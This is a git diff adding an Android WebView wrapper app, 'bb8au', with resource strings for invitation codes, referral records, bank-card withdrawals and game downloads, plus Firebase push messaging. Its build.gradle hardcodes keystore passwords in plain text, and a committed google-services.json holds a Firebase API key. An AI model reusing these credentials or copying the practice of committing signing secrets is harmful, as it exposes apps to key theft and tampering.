b/base_theme/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_theme/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_theme/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_theme/src/main/res/mipmap-xxhdpi/app_logo.png b/base_theme/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..9cca57b Binary files /dev/null and b/base_theme/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_theme/src/main/res/mipmap-xxhdpi/look_img.png b/base_theme/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_theme/src/main/res/mipmap-xxhdpi/share_img.png b/base_theme/src/main/res/mipmap-xxhdpi/share_img.png new file mode 100644 index 0000000..203b4b7 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xxhdpi/share_img.png differ diff --git a/base_theme/src/main/res/values-en/strings.xml b/base_theme/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..757be30 --- /dev/null +++ b/base_theme/src/main/res/values-en/strings.xml @@ -0,0 +1,57 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + Loading… + Text + Image + Jump link + \ No newline at end of file diff --git a/base_theme/src/main/res/values-night/themes.xml b/base_theme/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_theme/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/values/colors.xml b/base_theme/src/main/res/values/colors.xml new file mode 100644 index 0000000..93d94e6 --- /dev/null +++ b/base_theme/src/main/res/values/colors.xml @@ -0,0 +1,23 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + #000000 + + \ No newline at end of file diff --git a/base_theme/src/main/res/values/strings.xml b/base_theme/src/main/res/values/strings.xml new file mode 100644 index 0000000..33eb322 --- /dev/null +++ b/base_theme/src/main/res/values/strings.xml @@ -0,0 +1,59 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + Loading… + 文本 + 图片 + 链接 + + + \ No newline at end of file diff --git a/base_theme/src/main/res/values/themes.xml b/base_theme/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_theme/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/xml/app_updater_paths.xml b/base_theme/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_theme/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/xml/network_security_config.xml b/base_theme/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_theme/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/xml/provider_paths.xml b/base_theme/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_theme/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_theme/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_theme/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bb8au/.gitignore b/bb8au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bb8au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bb8au/build.gradle b/bb8au/build.gradle new file mode 100644 index 0000000..296915d --- /dev/null +++ b/bb8au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.bb8au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "bb8au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/bb8au/dskjweb.jks b/bb8au/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/bb8au/dskjweb.jks differ diff --git a/bb8au/google-services.json b/bb8au/google-services.json new file mode 100644 index 0000000..d1adaa7 --- /dev/null +++ b/bb8au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "919828684320", + "project_id": "notib4b8a1u", + "storage_bucket": "notib4b8a1u.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:919828684320:android:948fe8043f6c7aecb6a645", + "android_client_info": { + "package_name": "com.xyz.bb8au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC0XKgOmXqWB8XbZYKo9d2MD5cXDzFvB4k" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bb8au/ppn.jks b/bb8au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/bb8au/ppn.jks differ diff --git a/bb8au/proguard-rules.pro b/bb8au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bb8au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bb8au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bb8au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bb8au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bb8au/src/main/AndroidManifest.xml b/bb8au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..67749a9 --- /dev/null +++ b/bb8au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/java/com/xyz/bb8au/MainActivity.java b/bb8au/src/main/java/com/xyz/bb8au/MainActivity.java new file mode 100644 index 0000000..5042ae3 --- /dev/null +++ b/bb8au/src/main/java/com/xyz/bb8au/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.bb8au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 207; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://bb8au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bb8au/src/main/java/com/xyz/bb8au/MyFirebaseMessageingService.java b/bb8au/src/main/java/com/xyz/bb8au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..c33f5e0 --- /dev/null +++ b/bb8au/src/main/java/com/xyz/bb8au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.bb8au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bb8au/src/main/java/com/xyz/bb8au/WebApplication.java b/bb8au/src/main/java/com/xyz/bb8au/WebApplication.java new file mode 100644 index 0000000..879cee8 --- /dev/null +++ b/bb8au/src/main/java/com/xyz/bb8au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.bb8au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/bb8au/src/main/res/drawable-anydpi/ic_action_back.xml b/bb8au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/bb8au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/bb8au/src/main/res/drawable-hdpi/ic_action_back.png b/bb8au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/bb8au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/bb8au/src/main/res/drawable-mdpi/ic_action_back.png b/bb8au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/bb8au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/bb8au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/bb8au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/bb8au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable-xhdpi/ic_action_back.png b/bb8au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/bb8au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/bb8au/src/main/res/drawable-xxhdpi/ic_action_back.png b/bb8au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/bb8au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/bb8au/src/main/res/drawable/big_bg.xml b/bb8au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/bb8au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/ic_launcher_background.xml b/bb8au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/bb8au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bb8au/src/main/res/drawable/input_bg.xml b/bb8au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/bb8au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/bb8au/src/main/res/drawable/pass_word_bg.xml b/bb8au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/bb8au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/bb8au/src/main/res/drawable/pass_word_bg1.xml b/bb8au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/bb8au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/pass_word_bg2.xml b/bb8au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/bb8au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/shape_btn_bg.xml b/bb8au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/bb8au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/shape_dialog_bg2.xml b/bb8au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/bb8au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/shape_dialog_bg3.xml b/bb8au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/bb8au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/drawable/shape_dialog_bg_new.xml b/bb8au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/bb8au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bb8au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/mipmap-hdpi/ic_empty.png b/bb8au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/bb8au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/bb8au/src/main/res/mipmap-hdpi/ic_pull_down.png b/bb8au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/bb8au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/bb8au/src/main/res/mipmap-xhdpi/ic_close.png b/bb8au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/bb8au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/bb8au/src/main/res/mipmap-xhdpi/ic_menu.png b/bb8au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/bb8au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/bb8au/src/main/res/mipmap-xxhdpi/app_logo.png b/bb8au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..38fb89c Binary files /dev/null and b/bb8au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/bb8au/src/main/res/values-en/strings.xml b/bb8au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/bb8au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bb8au/src/main/res/values-night/themes.xml b/bb8au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/bb8au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/values/colors.xml b/bb8au/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/bb8au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/bb8au/src/main/res/values/strings.xml b/bb8au/src/main/res/values/strings.xml new file mode 100644 index 0000000..ea89810 --- /dev/null +++ b/bb8au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BB8AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/values/themes.xml b/bb8au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/bb8au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git 